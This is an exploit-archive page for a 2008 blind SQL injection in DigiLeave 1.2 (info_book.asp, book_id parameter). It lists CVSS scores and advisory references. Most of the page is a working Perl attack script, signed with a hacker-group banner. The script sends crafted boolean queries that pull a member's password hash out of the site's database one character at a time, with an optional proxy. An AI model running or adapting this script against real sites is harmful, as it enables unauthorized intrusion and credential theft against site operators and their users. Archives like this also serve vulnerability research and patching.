DigiLeave 1.2 (info_book.asp book_id) Blind SQL Injection Exploit

2008.07.28
Credit: Mr.SQL
Risk: Medium
Local: No
Remote: Yes
CWE: Not in CWE


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if(!$ARGV[1]) { print " \n"; print " #################### Viva IslaMe Viva IslaMe ################\n"; print " # DigiLeave V1.2Blind SQL Injection Exploit #\n"; print " # (info_book.asp book_id ) #\n"; print " # Author: Mr.SQL #\n"; print " # EMAIL : SQL@HOTMAIL.IT #\n"; print " # #\n"; print " # -((:: GrE3E3E3E3E3ETZ ::))- #\n"; print " # #\n"; print " # HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMaD AL 3rab #\n"; print " # :: ALwHeD :: milw0rm :: #\n"; print " # #\n"; print " # <<>> MuSliMs HaCkErS <<>> #\n"; print " # #\n"; print " # PRODUCT SITE: http://www.digiappz.com #\n"; print " # #\n"; print " # HOME: WwW.PaL-HaCkEr.CoM #\n"; print " # #\n"; print " # Usage : perl test.pl host #\n"; print " # Example: perl test.pl www.host.com / -d 10 #\n"; print " # Options: #\n"; print " # -d valid book_id value #\n"; print " #############################################################\n"; exit; } my $host = $ARGV[0]; my $book_id = $ARGV[2]; my %options = (); GetOptions(\%options, "u=i", "p=s", "d=i"); print "[~] Exploiting...\n"; if($options{"b"}) { $book_id = $options{"b"}; } syswrite(STDOUT, "[~] MD5-Hash: ", 14); for(my $i = 1; $i <= 32; $i++) { my $f = 0; my $h = 48; while(!$f && $h <= 57) { if(istrue2($host, $book_id, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } if(!$f) { $h = 97; while(!$f && $h <= 122) { if(istrue2($host, $book_id, $i, $h)) { $f = 1; syswrite(STDOUT, chr($h), 1); } $h++; } } } print "\n[~] Exploiting done\n"; sub istrue2 { my $host = shift; my $book_id = shift; my $i = shift; my $h = shift; my $ua = LWP::UserAgent->new; my $query = "http://".$host."info_book.asp?book_id=".$book_id." and (SUBSTRING((SELECT member_password FROM members LIMIT 0,1),".$i.",1))=CHAR(".$h.")"; if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); } my $resp = $ua->get($query); my $content = $resp->content; my $regexp = "tourterms.pdf"; if($content =~ /$regexp/) { return 1; } else { return 0; } }

References:

http://xforce.iss.net/xforce/xfdb/43913
http://www.securityfocus.com/bid/30314
http://www.milw0rm.com/exploits/6104
http://www.frsirt.com/english/advisories/2008/2153/references


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top